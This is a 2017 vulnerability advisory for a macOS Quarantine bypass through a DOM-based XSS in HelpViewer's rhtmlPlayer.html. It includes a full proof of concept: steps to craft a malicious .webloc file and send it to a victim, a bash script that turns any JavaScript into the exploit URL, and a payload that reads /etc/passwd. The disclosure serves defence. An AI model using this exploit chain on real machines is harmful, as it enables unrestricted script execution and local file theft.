Mac OS X Local Javascript Quarantine Bypass
Posted on 02 October 2017
Advisory ID: SGMA17-002 Title: Mac OS X Local Javascript Quarantine Bypass Product: Mac OS X Version: 10.12, 10.11, 10.10 and probably prior Vendor: apple.com <http://apple.com/> Type: DOM Based XSS Risk level: 3 / 5 Credits: filippo.cavallarin@wearesegment.com <mailto:filippo.cavallarin@wearesegment.com> CVE: N/A Vendor notification: 2017-07-27 Vendor fix: 2017-09-25 Public disclosure: 2017-09-28 DETAILS Mac OS X contains a vulnerability that allows the bypass of the Apple Quarantine and the execution of arbitrary Javascript code without restrictions. Basically, Apple's Quarantine works by setting an extended attribute to downloaded files (and also to files extracted from downloaded archive/image) that tells the system to open/execute those files in a restricted environment. For example, a quarantined html file won't be able to load local resources. The vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the excution of arbitrary javascript commands in its (unrestricted) context. The mentioned file is located at /System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html and contains the following code: <script type="text/javascript" charset="utf-8"> setBasePathFromString(urlParam("rhtml")); loadLocStrings(); loadJavascriptLibs(); function init () { /* <-- called by <body onload="init()" */ [...] rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */ [...] self.contentHttpReq.open('GET', rHTMLPath, true); self.contentHttpReq.onreadystatechange = function() { if (self.contentHttpReq.readyState == 4) { loadTutorial(self.contentHttpReq.responseText); } } [...] } function loadTutorial(response) { var rHTMLPath = urlParam("rhtml"); // this will create a tutorialData item eval(response); [...] } function loadLocStrings() { var headID = document.getElementsByTagName("head")[0]; var rHTMLPath = urlParam("rhtml"); rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js"); var newScript = document.createElement('script'); newScript.type = 'text/javascript'; newScript.src = rHTMLPath; headID.appendChild(newScript); } [...] </script> In short, it takes an url from the "rhtml" query string parameter, makes a request to that url and evaluates the response content as javascript code. The code below contains two different DOM Based XSS. The first is in the loadLocStrings() function that creates a SCRIPT element and uses the "rhtml" parameter as its "src" property. The second is in the init() function that uses the "rhtml" parameter to make an ajax call and then passes the response directly to eval(). As the result the same payload is executed twice. An attacker, by providing a data uri, can take control of the response and thus what gets evaluated. One possile vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads it in Safari when opened. By crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged javascript commands on the victim's computer. Due to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar archive (or any other format that supports extended attributes). PROOF OF CONCEPT To reproduce the issue follow the steps below: 1. create a javascript file you want to execute on your target 2. convert its content to base64 3. encode it to a "uri component" (ex with encodeURIComponent js function) 4. use it to build a data uri as follow: data:text/plain;base64,<urlencoded base64> 5. prepend the following string to it: file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=> 6. open it with Safari 7. save it as a bookmark 8. drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it) 9. create a tar archive containing the .webloc file 10. send it to the victim Note that due to the behaviour of rhtmlPlayer.html, in order to access local resources, the first line of the javascript code must be: document.getElementsByTagName("base")[0].href=""; The following bash script will take a javascript file and converts it to final "file" url: BOF #!/bin/bash BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>" BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;" DATAURI="data:text/plain;base64," JSFILE=$1 if [ "$JSFILE" = "" ]; then echo "usage: $0 <jsfile>" exit 1 fi JS=$BASEJS`cat $JSFILE`"})();" ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's///%2B/g'` URL="$BASEURL""$DATAURI""$ENCJS" echo -ne "Paste the url below into Safari's url bar: 33[33m$URL 33[0m " EOF The following javascript code will alert the /etc/passwd file on the victim's computer: BOF xhr = new XMLHttpRequest(); xhr.open("GET", "/etc/passwd", true); xhr.onreadystatechange = function(){ if (xhr.readyState == 4) { alert(xhr.responseText); } }; xhr.send(); EOF Note that only Safari will successfully load local resources via ajax (Chrome and Firefox won't). In this exploitation process it's not an issue since .webloc files are always opened with Safari. NOTE This issue has been silently fixed in Mac OS X High Sierra and (at time of writing) there is no mention of this bug in Apple's changelog. No CVE has been assigned by Apple. SOLUTION Upgrade to Mac OS X High Sierra or simply remove rhtmlPlayer.html REFERENCES https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html <https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html> https://youtu.be/1jesuZXfMjI <https://youtu.be/1jesuZXfMjI> DISCLOSURE This vulnerability has been disclosed thru Securiteam Secure Disclosure program: http://www.beyondsecurity.com/ssd <http://www.beyondsecurity.com/ssd>
